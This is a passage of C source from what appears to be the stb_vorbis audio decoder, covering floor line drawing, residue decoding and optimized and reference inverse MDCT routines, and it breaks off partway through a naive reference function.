// note that you must produce bit-identical output to decode correctly;
// this specific sequence of operations is specified in the spec (it's
// drawing integer-quantized frequency-space lines that the encoder
// expects to be exactly the same)
// ... also, isn't the whole point of Bresenham's algorithm to NOT
// have to divide in the setup? sigh.
#ifndef STB_VORBIS_NO_DEFER_FLOOR
#define LINE_OP(a,b) a *= b
#else
#define LINE_OP(a,b) a = b
#endif
#ifdef STB_VORBIS_DIVIDE_TABLE
#define DIVTAB_NUMER 32
#define DIVTAB_DENOM 64
int8 integer_divide_table[DIVTAB_NUMER][DIVTAB_DENOM]; // 2KB
#endif
static __forceinline void draw_line(float *output, int x0, int y0, int x1, int y1, int n)
{
int dy = y1 - y0;
int adx = x1 - x0;
int ady = abs(dy);
int base;
int x=x0,y=y0;
int err = 0;
int sy;
#ifdef STB_VORBIS_DIVIDE_TABLE
if (adx < DIVTAB_DENOM && ady < DIVTAB_NUMER) {
if (dy < 0) {
base = -integer_divide_table[ady][adx];
sy = base-1;
} else {
base = integer_divide_table[ady][adx];
sy = base+1;
}
} else {
base = dy / adx;
if (dy < 0)
sy = base - 1;
else
sy = base+1;
}
#else
base = dy / adx;
if (dy < 0)
sy = base - 1;
else
sy = base+1;
#endif
ady -= abs(base) * adx;
if (x1 > n) x1 = n;
if (x < x1) {
LINE_OP(output[x], inverse_db_table[y&255]);
for (++x; x < x1; ++x) {
err += ady;
if (err >= adx) {
err -= adx;
y += sy;
} else
y += base;
LINE_OP(output[x], inverse_db_table[y&255]);
}
}
}
static int residue_decode(vorb *f, Codebook *book, float *target, int offset, int n, int rtype)
{
int k;
if (rtype == 0) {
int step = n / book->dimensions;
for (k=0; k < step; ++k)
if (!codebook_decode_step(f, book, target+offset+k, n-offset-k, step))
return FALSE;
} else {
for (k=0; k < n; ) {
if (!codebook_decode(f, book, target+offset, n-k))
return FALSE;
k += book->dimensions;
offset += book->dimensions;
}
}
return TRUE;
}
// n is 1/2 of the blocksize --
// specification: "Correct per-vector decode length is [n]/2"
static void decode_residue(vorb *f, float *residue_buffers[], int ch, int n, int rn, uint8 *do_not_decode)
{
int i,j,pass;
Residue *r = f->residue_config + rn;
int rtype = f->residue_types[rn];
int c = r->classbook;
int classwords = f->codebooks[c].dimensions;
unsigned int actual_size = rtype == 2 ? n*2 : n;
unsigned int limit_r_begin = (r->begin < actual_size ? r->begin : actual_size);
unsigned int limit_r_end = (r->end < actual_size ? r->end : actual_size);
int n_read = limit_r_end - limit_r_begin;
int part_read = n_read / r->part_size;
int temp_alloc_point = temp_alloc_save(f);
#ifndef STB_VORBIS_DIVIDES_IN_RESIDUE
uint8 ***part_classdata = (uint8 ***) temp_block_array(f,f->channels, part_read * sizeof(**part_classdata));
#else
int **classifications = (int **) temp_block_array(f,f->channels, part_read * sizeof(**classifications));
#endif
CHECK(f);
for (i=0; i < ch; ++i)
if (!do_not_decode[i])
memset(residue_buffers[i], 0, sizeof(float) * n);
if (rtype == 2 && ch != 1) {
for (j=0; j < ch; ++j)
if (!do_not_decode[j])
break;
if (j == ch)
goto done;
for (pass=0; pass < 8; ++pass) {
int pcount = 0, class_set = 0;
if (ch == 2) {
while (pcount < part_read) {
int z = r->begin + pcount*r->part_size;
int c_inter = (z & 1), p_inter = z>>1;
if (pass == 0) {
Codebook *c = f->codebooks+r->classbook;
int q;
DECODE(q,f,c);
if (q == EOP) goto done;
#ifndef STB_VORBIS_DIVIDES_IN_RESIDUE
part_classdata[0][class_set] = r->classdata[q];
#else
for (i=classwords-1; i >= 0; --i) {
classifications[0][i+pcount] = q % r->classifications;
q /= r->classifications;
}
#endif
}
for (i=0; i < classwords && pcount < part_read; ++i, ++pcount) {
int z = r->begin + pcount*r->part_size;
#ifndef STB_VORBIS_DIVIDES_IN_RESIDUE
int c = part_classdata[0][class_set][i];
#else
int c = classifications[0][pcount];
#endif
int b = r->residue_books[c][pass];
if (b >= 0) {
Codebook *book = f->codebooks + b;
#ifdef STB_VORBIS_DIVIDES_IN_CODEBOOK
if (!codebook_decode_deinterleave_repeat(f, book, residue_buffers, ch, &c_inter, &p_inter, n, r->part_size))
goto done;
#else
// saves 1%
if (!codebook_decode_deinterleave_repeat(f, book, residue_buffers, ch, &c_inter, &p_inter, n, r->part_size))
goto done;
#endif
} else {
z += r->part_size;
c_inter = z & 1;
p_inter = z >> 1;
}
}
#ifndef STB_VORBIS_DIVIDES_IN_RESIDUE
++class_set;
#endif
}
} else if (ch > 2) {
while (pcount < part_read) {
int z = r->begin + pcount*r->part_size;
int c_inter = z % ch, p_inter = z/ch;
if (pass == 0) {
Codebook *c = f->codebooks+r->classbook;
int q;
DECODE(q,f,c);
if (q == EOP) goto done;
#ifndef STB_VORBIS_DIVIDES_IN_RESIDUE
part_classdata[0][class_set] = r->classdata[q];
#else
for (i=classwords-1; i >= 0; --i) {
classifications[0][i+pcount] = q % r->classifications;
q /= r->classifications;
}
#endif
}
for (i=0; i < classwords && pcount < part_read; ++i, ++pcount) {
int z = r->begin + pcount*r->part_size;
#ifndef STB_VORBIS_DIVIDES_IN_RESIDUE
int c = part_classdata[0][class_set][i];
#else
int c = classifications[0][pcount];
#endif
int b = r->residue_books[c][pass];
if (b >= 0) {
Codebook *book = f->codebooks + b;
if (!codebook_decode_deinterleave_repeat(f, book, residue_buffers, ch, &c_inter, &p_inter, n, r->part_size))
goto done;
} else {
z += r->part_size;
c_inter = z % ch;
p_inter = z / ch;
}
}
#ifndef STB_VORBIS_DIVIDES_IN_RESIDUE
++class_set;
#endif
}
}
}
goto done;
}
CHECK(f);
for (pass=0; pass < 8; ++pass) {
int pcount = 0, class_set=0;
while (pcount < part_read) {
if (pass == 0) {
for (j=0; j < ch; ++j) {
if (!do_not_decode[j]) {
Codebook *c = f->codebooks+r->classbook;
int temp;
DECODE(temp,f,c);
if (temp == EOP) goto done;
#ifndef STB_VORBIS_DIVIDES_IN_RESIDUE
part_classdata[j][class_set] = r->classdata[temp];
#else
for (i=classwords-1; i >= 0; --i) {
classifications[j][i+pcount] = temp % r->classifications;
temp /= r->classifications;
}
#endif
}
}
}
for (i=0; i < classwords && pcount < part_read; ++i, ++pcount) {
for (j=0; j < ch; ++j) {
if (!do_not_decode[j]) {
#ifndef STB_VORBIS_DIVIDES_IN_RESIDUE
int c = part_classdata[j][class_set][i];
#else
int c = classifications[j][pcount];
#endif
int b = r->residue_books[c][pass];
if (b >= 0) {
float *target = residue_buffers[j];
int offset = r->begin + pcount * r->part_size;
int n = r->part_size;
Codebook *book = f->codebooks + b;
if (!residue_decode(f, book, target, offset, n, rtype))
goto done;
}
}
}
}
#ifndef STB_VORBIS_DIVIDES_IN_RESIDUE
++class_set;
#endif
}
}
done:
CHECK(f);
#ifndef STB_VORBIS_DIVIDES_IN_RESIDUE
temp_free(f,part_classdata);
#else
temp_free(f,classifications);
#endif
temp_alloc_restore(f,temp_alloc_point);
}
#if 0
// slow way for debugging
void inverse_mdct_slow(float *buffer, int n)
{
int i,j;
int n2 = n >> 1;
float *x = (float *) malloc(sizeof(*x) * n2);
memcpy(x, buffer, sizeof(*x) * n2);
for (i=0; i < n; ++i) {
float acc = 0;
for (j=0; j < n2; ++j)
// formula from paper:
//acc += n/4.0f * x[j] * (float) cos(M_PI / 2 / n * (2 * i + 1 + n/2.0)*(2*j+1));
// formula from wikipedia
//acc += 2.0f / n2 * x[j] * (float) cos(M_PI/n2 * (i + 0.5 + n2/2)*(j + 0.5));
// these are equivalent, except the formula from the paper inverts the multiplier!
// however, what actually works is NO MULTIPLIER!?!
//acc += 64 * 2.0f / n2 * x[j] * (float) cos(M_PI/n2 * (i + 0.5 + n2/2)*(j + 0.5));
acc += x[j] * (float) cos(M_PI / 2 / n * (2 * i + 1 + n/2.0)*(2*j+1));
buffer[i] = acc;
}
free(x);
}
#elif 0
// same as above, but just barely able to run in real time on modern machines
void inverse_mdct_slow(float *buffer, int n, vorb *f, int blocktype)
{
float mcos[16384];
int i,j;
int n2 = n >> 1, nmask = (n << 2) -1;
float *x = (float *) malloc(sizeof(*x) * n2);
memcpy(x, buffer, sizeof(*x) * n2);
for (i=0; i < 4*n; ++i)
mcos[i] = (float) cos(M_PI / 2 * i / n);
for (i=0; i < n; ++i) {
float acc = 0;
for (j=0; j < n2; ++j)
acc += x[j] * mcos[(2 * i + 1 + n2)*(2*j+1) & nmask];
buffer[i] = acc;
}
free(x);
}
#elif 0
// transform to use a slow dct-iv; this is STILL basically trivial,
// but only requires half as many ops
void dct_iv_slow(float *buffer, int n)
{
float mcos[16384];
float x[2048];
int i,j;
int n2 = n >> 1, nmask = (n << 3) - 1;
memcpy(x, buffer, sizeof(*x) * n);
for (i=0; i < 8*n; ++i)
mcos[i] = (float) cos(M_PI / 4 * i / n);
for (i=0; i < n; ++i) {
float acc = 0;
for (j=0; j < n; ++j)
acc += x[j] * mcos[((2 * i + 1)*(2*j+1)) & nmask];
buffer[i] = acc;
}
}
void inverse_mdct_slow(float *buffer, int n, vorb *f, int blocktype)
{
int i, n4 = n >> 2, n2 = n >> 1, n3_4 = n - n4;
float temp[4096];
memcpy(temp, buffer, n2 * sizeof(float));
dct_iv_slow(temp, n2); // returns -c'-d, a-b'
for (i=0; i < n4 ; ++i) buffer[i] = temp[i+n4]; // a-b'
for ( ; i < n3_4; ++i) buffer[i] = -temp[n3_4 - i - 1]; // b-a', c+d'
for ( ; i < n ; ++i) buffer[i] = -temp[i - n3_4]; // c'+d
}
#endif
#ifndef LIBVORBIS_MDCT
#define LIBVORBIS_MDCT 0
#endif
#if LIBVORBIS_MDCT
// directly call the vorbis MDCT using an interface documented
// by Jeff Roberts... useful for performance comparison
typedef struct
{
int n;
int log2n;
float *trig;
int *bitrev;
float scale;
} mdct_lookup;
extern void mdct_init(mdct_lookup *lookup, int n);
extern void mdct_clear(mdct_lookup *l);
extern void mdct_backward(mdct_lookup *init, float *in, float *out);
mdct_lookup M1,M2;
void inverse_mdct(float *buffer, int n, vorb *f, int blocktype)
{
mdct_lookup *M;
if (M1.n == n) M = &M1;
else if (M2.n == n) M = &M2;
else if (M1.n == 0) { mdct_init(&M1, n); M = &M1; }
else {
if (M2.n) __asm int 3;
mdct_init(&M2, n);
M = &M2;
}
mdct_backward(M, buffer, buffer);
}
#endif
// the following were split out into separate functions while optimizing;
// they could be pushed back up but eh. __forceinline showed no change;
// they're probably already being inlined.
static void imdct_step3_iter0_loop(int n, float *e, int i_off, int k_off, float *A)
{
float *ee0 = e + i_off;
float *ee2 = ee0 + k_off;
int i;
assert((n & 3) == 0);
for (i=(n>>2); i > 0; --i) {
float k00_20, k01_21;
k00_20 = ee0[ 0] - ee2[ 0];
k01_21 = ee0[-1] - ee2[-1];
ee0[ 0] += ee2[ 0];//ee0[ 0] = ee0[ 0] + ee2[ 0];
ee0[-1] += ee2[-1];//ee0[-1] = ee0[-1] + ee2[-1];
ee2[ 0] = k00_20 * A[0] - k01_21 * A[1];
ee2[-1] = k01_21 * A[0] + k00_20 * A[1];
A += 8;
k00_20 = ee0[-2] - ee2[-2];
k01_21 = ee0[-3] - ee2[-3];
ee0[-2] += ee2[-2];//ee0[-2] = ee0[-2] + ee2[-2];
ee0[-3] += ee2[-3];//ee0[-3] = ee0[-3] + ee2[-3];
ee2[-2] = k00_20 * A[0] - k01_21 * A[1];
ee2[-3] = k01_21 * A[0] + k00_20 * A[1];
A += 8;
k00_20 = ee0[-4] - ee2[-4];
k01_21 = ee0[-5] - ee2[-5];
ee0[-4] += ee2[-4];//ee0[-4] = ee0[-4] + ee2[-4];
ee0[-5] += ee2[-5];//ee0[-5] = ee0[-5] + ee2[-5];
ee2[-4] = k00_20 * A[0] - k01_21 * A[1];
ee2[-5] = k01_21 * A[0] + k00_20 * A[1];
A += 8;
k00_20 = ee0[-6] - ee2[-6];
k01_21 = ee0[-7] - ee2[-7];
ee0[-6] += ee2[-6];//ee0[-6] = ee0[-6] + ee2[-6];
ee0[-7] += ee2[-7];//ee0[-7] = ee0[-7] + ee2[-7];
ee2[-6] = k00_20 * A[0] - k01_21 * A[1];
ee2[-7] = k01_21 * A[0] + k00_20 * A[1];
A += 8;
ee0 -= 8;
ee2 -= 8;
}
}
static void imdct_step3_inner_r_loop(int lim, float *e, int d0, int k_off, float *A, int k1)
{
int i;
float k00_20, k01_21;
float *e0 = e + d0;
float *e2 = e0 + k_off;
for (i=lim >> 2; i > 0; --i) {
k00_20 = e0[-0] - e2[-0];
k01_21 = e0[-1] - e2[-1];
e0[-0] += e2[-0];//e0[-0] = e0[-0] + e2[-0];
e0[-1] += e2[-1];//e0[-1] = e0[-1] + e2[-1];
e2[-0] = (k00_20)*A[0] - (k01_21) * A[1];
e2[-1] = (k01_21)*A[0] + (k00_20) * A[1];
A += k1;
k00_20 = e0[-2] - e2[-2];
k01_21 = e0[-3] - e2[-3];
e0[-2] += e2[-2];//e0[-2] = e0[-2] + e2[-2];
e0[-3] += e2[-3];//e0[-3] = e0[-3] + e2[-3];
e2[-2] = (k00_20)*A[0] - (k01_21) * A[1];
e2[-3] = (k01_21)*A[0] + (k00_20) * A[1];
A += k1;
k00_20 = e0[-4] - e2[-4];
k01_21 = e0[-5] - e2[-5];
e0[-4] += e2[-4];//e0[-4] = e0[-4] + e2[-4];
e0[-5] += e2[-5];//e0[-5] = e0[-5] + e2[-5];
e2[-4] = (k00_20)*A[0] - (k01_21) * A[1];
e2[-5] = (k01_21)*A[0] + (k00_20) * A[1];
A += k1;
k00_20 = e0[-6] - e2[-6];
k01_21 = e0[-7] - e2[-7];
e0[-6] += e2[-6];//e0[-6] = e0[-6] + e2[-6];
e0[-7] += e2[-7];//e0[-7] = e0[-7] + e2[-7];
e2[-6] = (k00_20)*A[0] - (k01_21) * A[1];
e2[-7] = (k01_21)*A[0] + (k00_20) * A[1];
e0 -= 8;
e2 -= 8;
A += k1;
}
}
static void imdct_step3_inner_s_loop(int n, float *e, int i_off, int k_off, float *A, int a_off, int k0)
{
int i;
float A0 = A[0];
float A1 = A[0+1];
float A2 = A[0+a_off];
float A3 = A[0+a_off+1];
float A4 = A[0+a_off*2+0];
float A5 = A[0+a_off*2+1];
float A6 = A[0+a_off*3+0];
float A7 = A[0+a_off*3+1];
float k00,k11;
float *ee0 = e +i_off;
float *ee2 = ee0+k_off;
for (i=n; i > 0; --i) {
k00 = ee0[ 0] - ee2[ 0];
k11 = ee0[-1] - ee2[-1];
ee0[ 0] = ee0[ 0] + ee2[ 0];
ee0[-1] = ee0[-1] + ee2[-1];
ee2[ 0] = (k00) * A0 - (k11) * A1;
ee2[-1] = (k11) * A0 + (k00) * A1;
k00 = ee0[-2] - ee2[-2];
k11 = ee0[-3] - ee2[-3];
ee0[-2] = ee0[-2] + ee2[-2];
ee0[-3] = ee0[-3] + ee2[-3];
ee2[-2] = (k00) * A2 - (k11) * A3;
ee2[-3] = (k11) * A2 + (k00) * A3;
k00 = ee0[-4] - ee2[-4];
k11 = ee0[-5] - ee2[-5];
ee0[-4] = ee0[-4] + ee2[-4];
ee0[-5] = ee0[-5] + ee2[-5];
ee2[-4] = (k00) * A4 - (k11) * A5;
ee2[-5] = (k11) * A4 + (k00) * A5;
k00 = ee0[-6] - ee2[-6];
k11 = ee0[-7] - ee2[-7];
ee0[-6] = ee0[-6] + ee2[-6];
ee0[-7] = ee0[-7] + ee2[-7];
ee2[-6] = (k00) * A6 - (k11) * A7;
ee2[-7] = (k11) * A6 + (k00) * A7;
ee0 -= k0;
ee2 -= k0;
}
}
static __forceinline void iter_54(float *z)
{
float k00,k11,k22,k33;
float y0,y1,y2,y3;
k00 = z[ 0] - z[-4];
y0 = z[ 0] + z[-4];
y2 = z[-2] + z[-6];
k22 = z[-2] - z[-6];
z[-0] = y0 + y2; // z0 + z4 + z2 + z6
z[-2] = y0 - y2; // z0 + z4 - z2 - z6
// done with y0,y2
k33 = z[-3] - z[-7];
z[-4] = k00 + k33; // z0 - z4 + z3 - z7
z[-6] = k00 - k33; // z0 - z4 - z3 + z7
// done with k33
k11 = z[-1] - z[-5];
y1 = z[-1] + z[-5];
y3 = z[-3] + z[-7];
z[-1] = y1 + y3; // z1 + z5 + z3 + z7
z[-3] = y1 - y3; // z1 + z5 - z3 - z7
z[-5] = k11 - k22; // z1 - z5 + z2 - z6
z[-7] = k11 + k22; // z1 - z5 - z2 + z6
}
static void imdct_step3_inner_s_loop_ld654(int n, float *e, int i_off, float *A, int base_n)
{
int a_off = base_n >> 3;
float A2 = A[0+a_off];
float *z = e + i_off;
float *base = z - 16 * n;
while (z > base) {
float k00,k11;
k00 = z[-0] - z[-8];
k11 = z[-1] - z[-9];
z[-0] = z[-0] + z[-8];
z[-1] = z[-1] + z[-9];
z[-8] = k00;
z[-9] = k11 ;
k00 = z[ -2] - z[-10];
k11 = z[ -3] - z[-11];
z[ -2] = z[ -2] + z[-10];
z[ -3] = z[ -3] + z[-11];
z[-10] = (k00+k11) * A2;
z[-11] = (k11-k00) * A2;
k00 = z[-12] - z[ -4]; // reverse to avoid a unary negation
k11 = z[ -5] - z[-13];
z[ -4] = z[ -4] + z[-12];
z[ -5] = z[ -5] + z[-13];
z[-12] = k11;
z[-13] = k00;
k00 = z[-14] - z[ -6]; // reverse to avoid a unary negation
k11 = z[ -7] - z[-15];
z[ -6] = z[ -6] + z[-14];
z[ -7] = z[ -7] + z[-15];
z[-14] = (k00+k11) * A2;
z[-15] = (k00-k11) * A2;
iter_54(z);
iter_54(z-8);
z -= 16;
}
}
static void inverse_mdct(float *buffer, int n, vorb *f, int blocktype)
{
int n2 = n >> 1, n4 = n >> 2, n8 = n >> 3, l;
int ld;
// @OPTIMIZE: reduce register pressure by using fewer variables?
int save_point = temp_alloc_save(f);
float *buf2 = (float *) temp_alloc(f, n2 * sizeof(*buf2));
float *u=NULL,*v=NULL;
// twiddle factors
float *A = f->A[blocktype];
// IMDCT algorithm from "The use of multirate filter banks for coding of high quality digital audio"
// See notes about bugs in that paper in less-optimal implementation 'inverse_mdct_old' after this function.
// kernel from paper
// merged:
// copy and reflect spectral data
// step 0
// note that it turns out that the items added together during
// this step are, in fact, being added to themselves (as reflected
// by step 0). inexplicable inefficiency! this became obvious
// once I combined the passes.
// so there's a missing 'times 2' here (for adding X to itself).
// this propagates through linearly to the end, where the numbers
// are 1/2 too small, and need to be compensated for.
{
float *d,*e, *AA, *e_stop;
d = &buf2[n2-2];
AA = A;
e = &buffer[0];
e_stop = &buffer[n2];
while (e != e_stop) {
d[1] = (e[0] * AA[0] - e[2]*AA[1]);
d[0] = (e[0] * AA[1] + e[2]*AA[0]);
d -= 2;
AA += 2;
e += 4;
}
e = &buffer[n2-3];
while (d >= buf2) {
d[1] = (-e[2] * AA[0] - -e[0]*AA[1]);
d[0] = (-e[2] * AA[1] + -e[0]*AA[0]);
d -= 2;
AA += 2;
e -= 4;
}
}
// now we use symbolic names for these, so that we can
// possibly swap their meaning as we change which operations
// are in place
u = buffer;
v = buf2;
// step 2 (paper output is w, now u)
// this could be in place, but the data ends up in the wrong
// place... _somebody_'s got to swap it, so this is nominated
{
float *AA = &A[n2-8];
float *d0,*d1, *e0, *e1;
e0 = &v[n4];
e1 = &v[0];
d0 = &u[n4];
d1 = &u[0];
while (AA >= A) {
float v40_20, v41_21;
v41_21 = e0[1] - e1[1];
v40_20 = e0[0] - e1[0];
d0[1] = e0[1] + e1[1];
d0[0] = e0[0] + e1[0];
d1[1] = v41_21*AA[4] - v40_20*AA[5];
d1[0] = v40_20*AA[4] + v41_21*AA[5];
v41_21 = e0[3] - e1[3];
v40_20 = e0[2] - e1[2];
d0[3] = e0[3] + e1[3];
d0[2] = e0[2] + e1[2];
d1[3] = v41_21*AA[0] - v40_20*AA[1];
d1[2] = v40_20*AA[0] + v41_21*AA[1];
AA -= 8;
d0 += 4;
d1 += 4;
e0 += 4;
e1 += 4;
}
}
// step 3
ld = ilog(n) - 1; // ilog is off-by-one from normal definitions
// optimized step 3:
// the original step3 loop can be nested r inside s or s inside r;
// it's written originally as s inside r, but this is dumb when r
// iterates many times, and s few. So I have two copies of it and
// switch between them halfway.
// this is iteration 0 of step 3
imdct_step3_iter0_loop(n >> 4, u, n2-1-n4*0, -(n >> 3), A);
imdct_step3_iter0_loop(n >> 4, u, n2-1-n4*1, -(n >> 3), A);
// this is iteration 1 of step 3
imdct_step3_inner_r_loop(n >> 5, u, n2-1 - n8*0, -(n >> 4), A, 16);
imdct_step3_inner_r_loop(n >> 5, u, n2-1 - n8*1, -(n >> 4), A, 16);
imdct_step3_inner_r_loop(n >> 5, u, n2-1 - n8*2, -(n >> 4), A, 16);
imdct_step3_inner_r_loop(n >> 5, u, n2-1 - n8*3, -(n >> 4), A, 16);
l=2;
for (; l < (ld-3)>>1; ++l) {
int k0 = n >> (l+2), k0_2 = k0>>1;
int lim = 1 << (l+1);
int i;
for (i=0; i < lim; ++i)
imdct_step3_inner_r_loop(n >> (l+4), u, n2-1 - k0*i, -k0_2, A, 1 << (l+3));
}
for (; l < ld-6; ++l) {
int k0 = n >> (l+2), k1 = 1 << (l+3), k0_2 = k0>>1;
int rlim = n >> (l+6), r;
int lim = 1 << (l+1);
int i_off;
float *A0 = A;
i_off = n2-1;
for (r=rlim; r > 0; --r) {
imdct_step3_inner_s_loop(lim, u, i_off, -k0_2, A0, k1, k0);
A0 += k1*4;
i_off -= 8;
}
}
// iterations with count:
// ld-6,-5,-4 all interleaved together
// the big win comes from getting rid of needless flops
// due to the constants on pass 5 & 4 being all 1 and 0;
// combining them to be simultaneous to improve cache made little difference
imdct_step3_inner_s_loop_ld654(n >> 5, u, n2-1, A, n);
// output is u
// step 4, 5, and 6
// cannot be in-place because of step 5
{
uint16 *bitrev = f->bit_reverse[blocktype];
// weirdly, I'd have thought reading sequentially and writing
// erratically would have been better than vice-versa, but in
// fact that's not what my testing showed. (That is, with
// j = bitreverse(i), do you read i and write j, or read j and write i.)
float *d0 = &v[n4-4];
float *d1 = &v[n2-4];
while (d0 >= v) {
int k4;
k4 = bitrev[0];
d1[3] = u[k4+0];
d1[2] = u[k4+1];
d0[3] = u[k4+2];
d0[2] = u[k4+3];
k4 = bitrev[1];
d1[1] = u[k4+0];
d1[0] = u[k4+1];
d0[1] = u[k4+2];
d0[0] = u[k4+3];
d0 -= 4;
d1 -= 4;
bitrev += 2;
}
}
// (paper output is u, now v)
// data must be in buf2
assert(v == buf2);
// step 7 (paper output is v, now v)
// this is now in place
{
float *C = f->C[blocktype];
float *d, *e;
d = v;
e = v + n2 - 4;
while (d < e) {
float a02,a11,b0,b1,b2,b3;
a02 = d[0] - e[2];
a11 = d[1] + e[3];
b0 = C[1]*a02 + C[0]*a11;
b1 = C[1]*a11 - C[0]*a02;
b2 = d[0] + e[ 2];
b3 = d[1] - e[ 3];
d[0] = b2 + b0;
d[1] = b3 + b1;
e[2] = b2 - b0;
e[3] = b1 - b3;
a02 = d[2] - e[0];
a11 = d[3] + e[1];
b0 = C[3]*a02 + C[2]*a11;
b1 = C[3]*a11 - C[2]*a02;
b2 = d[2] + e[ 0];
b3 = d[3] - e[ 1];
d[2] = b2 + b0;
d[3] = b3 + b1;
e[0] = b2 - b0;
e[1] = b1 - b3;
C += 4;
d += 4;
e -= 4;
}
}
// data must be in buf2
// step 8+decode (paper output is X, now buffer)
// this generates pairs of data a la 8 and pushes them directly through
// the decode kernel (pushing rather than pulling) to avoid having
// to make another pass later
// this cannot POSSIBLY be in place, so we refer to the buffers directly
{
float *d0,*d1,*d2,*d3;
float *B = f->B[blocktype] + n2 - 8;
float *e = buf2 + n2 - 8;
d0 = &buffer[0];
d1 = &buffer[n2-4];
d2 = &buffer[n2];
d3 = &buffer[n-4];
while (e >= v) {
float p0,p1,p2,p3;
p3 = e[6]*B[7] - e[7]*B[6];
p2 = -e[6]*B[6] - e[7]*B[7];
d0[0] = p3;
d1[3] = - p3;
d2[0] = p2;
d3[3] = p2;
p1 = e[4]*B[5] - e[5]*B[4];
p0 = -e[4]*B[4] - e[5]*B[5];
d0[1] = p1;
d1[2] = - p1;
d2[1] = p0;
d3[2] = p0;
p3 = e[2]*B[3] - e[3]*B[2];
p2 = -e[2]*B[2] - e[3]*B[3];
d0[2] = p3;
d1[1] = - p3;
d2[2] = p2;
d3[1] = p2;
p1 = e[0]*B[1] - e[1]*B[0];
p0 = -e[0]*B[0] - e[1]*B[1];
d0[3] = p1;
d1[0] = - p1;
d2[3] = p0;
d3[0] = p0;
B -= 8;
e -= 8;
d0 += 4;
d2 += 4;
d1 -= 4;
d3 -= 4;
}
}
temp_free(f,buf2);
temp_alloc_restore(f,save_point);
}
#if 0
// this is the original version of the above code, if you want to optimize it from scratch
void inverse_mdct_naive(float *buffer, int n)
{
float s;
float A[1 << 12], B[1 << 12], C[1 << 11];
int i,k,k2,k4, n2 = n >> 1, n4 = n >> 2, n8 = n >> 3, l;
int n3_4 = n - n4, ld;
// how can they claim this only uses N words?!
// oh, because they're only used sparsely, whoops
float u[1 << 13], X[1 << 13], v[1 << 13], w[1 << 13];
// set up twiddle factors
for (k=k2=0; k < n4; ++k,k2+=2) {
A[k2 ] = (float) cos(4*k*M_PI/n);
A[k2+1] = (float) -sin(4*k*M_PI/n);
B[k2 ] = (float) cos((k2+1)*M_PI/n/2);
B[k2+1] = (float) sin((k2+1)*M_PI/n/2);
}
for (k=k2=0; k < n8; ++k,k2+=2) {
C[k2 ] = (float) cos(2*(k2+1)*M_PI/n);
C[k2+1] = (float) -sin(2*(k2+1)*M_PI/n);
}
// IMDCT algorithm from "The use of multirate filter banks for coding of high quality digital audio"
// Note there are bugs in that pseudocode, presumably due to them attempting
// to rename the arrays nicely rather than representing the way their actual
// implementation bounces buffers back and forth. As a result, even in the
// "some formulars corrected" version, a direct implementation fails. These
// are noted below as "paper bug".
// copy and reflect spectral data
for (k=0; k < n2; ++k) u[k] = buffer[k];
for ( ; k < n ; ++k) u[k] = -buffer[n - k - 1];
// kernel from paper
// step 1
for (k=k2=k4=0; k < n4; k+=1, k2+=2, k4+=4) {
v[n-k4-1] = (u[k4] - u[n-k4-1]) * A[k2] - (u[k4+2] - u[n-k4-3])*A[k2+1];
v[n-k4-3] = (u[k4] - u[n-k4-1]) * A[k2+1] + (u[k4+2] - u[n-k4-3])*A[k2];
}
// step 2
for (k=k4=0; k < n8; k+=1, k4+=4) {
w[n2+3+k4] = v[n2+3+k4] + v[k4+3];
w[n2+1+k4] = v[n2+1+k4] + v[k4+1];
w[k4+3] = (v[n2+3+k4] - v[k4+3])*A[n2-4-k4] - (v[n2+1+k4]-v[k4+1])*A[n2-3-k4];
w[k4+1] = (v[n2+1+k4] - v[k4+1])*A[n2-4-k4] + (v[n2+3+k4]-v[k4+3])*A[n2-3-k4];
}
// step 3
ld = ilog(n) - 1; // ilog is off-by-one from normal definitions
for (l=0; l < ld-3; ++l) {
int k0 = n >> (l+2), k1 = 1 << (l+3);
int rlim = n >> (l+4), r4, r;
int s2lim = 1 << (l+2), s2;
for (r=r4=0; r < rlim; r4+=4,++r) {
for (s2=0; s2 < s2lim; s2+=2) {
u[n-1-k0*s2-r4] = w[n-1-k0*s2-r4] + w[n-1-k0*(s2+1)-r4];
u[n-3-k0*s2-r4] = w[n-3-k0*s2-r4] + w[n-3-k0*(s2+1)-r4];
u[n-1-k0*(s2+1)-r4] = (w[n-1-k0*s2-r4] - w[n-1-k0*(s2+1)-r4]) * A[r*k1]
- (w[n-3-k0*s2-r4] - w[n-3-k0*(s2+1)-r4]) * A[r*k1+1];
u[n-3-k0*(s2+1)-r4] = (w[n-3-k0*s2-r4] - w[n-3-k0*(s2+1)-r4]) * A[r*k1]
+ (w[n-1-k0*s2-r4] - w[n-1-k0*(s2+1)-r4]) * A[r*k1+1];
}
}
if (l+1 < ld-3) {
// paper bug: ping-ponging of u&w here is omitted
memcpy(w, u, sizeof(u));
}
}
// step 4
for (i=0; i < n8; ++i) {
int j = bit_reverse(i) >> (32-ld+3);
assert(j < n8);
if (i == j) {
// paper bug: original code probably swapped in place; if copying,
// need to directly copy in this case
int i8 = i << 3;
v[i8+1] = u[i8+1];
v[i8+3] = u[i8+3];
v[i8+5] = u[i8+5];
v[i8+7] = u[i8+7];
} else if (i < j) {
int i8 = i << 3, j8 = j << 3;
v[j8+1] = u[i8+1], v[i8+1] = u[j8 + 1];
v[j8+3] = u[i8+3], v[i8+3] = u[j8 + 3];
v[j8+5] = u[i8+5], v[i8+5] = u[j8 + 5];
v[j8+7] = u[i8+7], v[i8+7] = u[j8 + 7];
}
}
// step 5
for (k=0; k < n2; ++k) {
w[k] = v[k*2+1];
}
// step 6
for (k=k2=k4=0; k < n8; ++k, k2 += 2, k4 += 4) {
u[n-1-k2] = w[k4];
u[n-2-k2] = w[k4+1];
u[n3_4 - 1 - k2] = w[k4+2];
u[n3_4 - 2 - k2] = w[k4+3];
}
// step 7
for (k=k2=0; k < n8; ++k, k2 += 2) {
v[n2 + k2 ] = ( u[n2 + k2] + u[n-2-k2] + C[k2+1]*(u[n2+k2]-u[n-2-k2]) + C[k2]*(u[n2+k2+1]+u[n-2-k2+1]))/2;
v[n-2 - k2] = ( u[n2 + k2] + u[n-2-k2] - C[k2+1]*(u[n2+k2]-u[n-2-k2]) - C[k2]*(u[n2+k2+1]+u[n-2-k2+1]))/2;
v[n2+1+ k2] = ( u[n2+1+k2] - u[n-1-k2] + C[k2+1]*(u[n2+1+k2]+u[n-1-k2]) - C[k2]*(u[n2+k2]-u[n-2-k2]))/2;
v[n-1 - k2] = (-u[n2+1+k2] + u[n-1-k2] + C[k2+1]*(u[n2+1+k2]+u[n-1-k2]) - C[k2]*(u[n2+k2]-u[n-2-k2]))/2;
}
// step 8
for (k=k2=0; k < n4; ++k,k2 += 2) {
